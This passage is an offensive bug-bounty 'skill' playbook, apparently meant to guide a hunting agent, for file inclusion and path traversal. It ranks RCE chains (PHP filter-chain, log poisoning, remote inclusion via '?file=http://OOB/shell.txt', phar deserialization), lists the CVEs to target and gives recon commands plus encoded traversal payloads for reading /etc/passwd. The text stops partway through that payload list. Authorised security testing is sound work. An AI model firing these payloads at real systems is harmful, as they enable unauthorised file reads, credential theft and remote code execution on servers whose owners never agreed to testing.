/hunt-lfi

name: hunt-lfi
description: "Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target."
sources: hackerone_public, synacktiv_research, portswigger_research
report_count: 24

HUNT-LFI — Local / Remote File Inclusion & Path Traversal

Crown Jewel Targets

LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files.

**Highest-value chains (in rough order of reliability in 2026):**

• **PHP filter-chain → RCE** — the modern default. A bare `php://filter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.
• **Log poisoning → RCE** — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by `open_basedir` and unreadable log perms, so verify the log is *readable* first.
• **PHP wrappers → source disclosure** — `php://filter/convert.base64-encode/resource=index.php` leaks source; read source to find more LFI sinks, secrets, and the include base path.
• **RFI → RCE** — when `allow_url_include=On`, `?file=http://OOB/shell.txt` pulls and executes remote code. Rare on modern configs but trivially Critical when present.
• **phar:// deserialization** — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
• **zip:// / data:// chains** and **session/upload poisoning** when filters block wrappers.

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OOB / Blind-LFI Confirmation Gate (Read First)

LFI is frequently **blind**: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do **not** claim LFI from indirect signals alone.

What is NOT confirmation

• A different status code or error string for `../../etc/passwd` vs a normal value. The app may be string-matching `../` and returning a canned 403/500 without ever touching the filesystem.
• Your input **echoed back** inside an error message (e.g. `failed to open '/var/www/../../etc/passwd'`). That is the path *formatter*, not proof the file was read. A genuine read shows file **contents**, not your path.
• A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.

What IS confirmation

• **Direct read:** actual file *contents* appear (real `root:x:0:0:` line, real PHP source after base64-decoding the filter output).
• **Blind read via OOB exfil:** use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your **Burp Collaborator** subdomain, or use an `expect://` / wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran.
• **Blind read via differential/timing:** include a file you *know* exists and is large (`/etc/passwd`) vs one that does not (`/etc/passwd_nope_<rand>`). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.

Default workflow

1. Pick a **unique marker** target: prefer a file whose content you can fingerprint exactly (`/etc/passwd` → grep `^root:`). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source. 2. Generate a sub-tagged Collaborator payload per sink (`lfi-page.<collab>`, `lfi-tpl.<collab>`) so callbacks identify which parameter fired. 3. Send, wait 30–120s, poll OOB. 4. Claim LFI **only** after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted.

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Attack Surface Signals

URL / Body Parameters

?page=  ?file=  ?path=  ?template=  ?view=  ?lang=  ?module=
?include=  ?doc=  ?load=  ?read=  ?content=  ?theme=  ?layout=
?component=  ?download=  ?img=  ?pdf=  ?report=  ?style=  ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}

Technology Stack Signals

| Signal | Vector | |--------|--------| | PHP (`X-Powered-By`, `.php`, PHPSESSID) | php:// filter-chain RCE, phar://, zip://, data:// | | Apache/Nginx logs readable | Log poisoning → RCE (verify readability first) | | Apache 2.4.49 / 2.4.50 (`Server:` banner) | CVE-2021-41773 / CVE-2021-42013 traversal → RCE | | PHP-CGI on Windows (XAMPP, `php-cgi.exe`) | CVE-2024-4577 arg-injection → RCE | | Java servlet (`/WEB-INF/`) | `WEB-INF/web.xml`, `classes/`, `application.properties` | | Python Flask/Django | `/proc/self/environ`, `settings.py`, `SECRET_KEY` | | Node.js file-serve / `res.sendFile`, `express.static` | path-traversal read, `require()` traversal | | Windows IIS / .NET | `..\..\web.config`, `C:\Windows\win.ini`, machineKey |

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Step-by-Step Methodology

Phase 1 — Identify Candidates

cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
  recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302

Phase 2 — Path Traversal (read)

?file=../../../etc/passwd
?file=....//....//....//etc/passwd            # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd             # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd     # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpa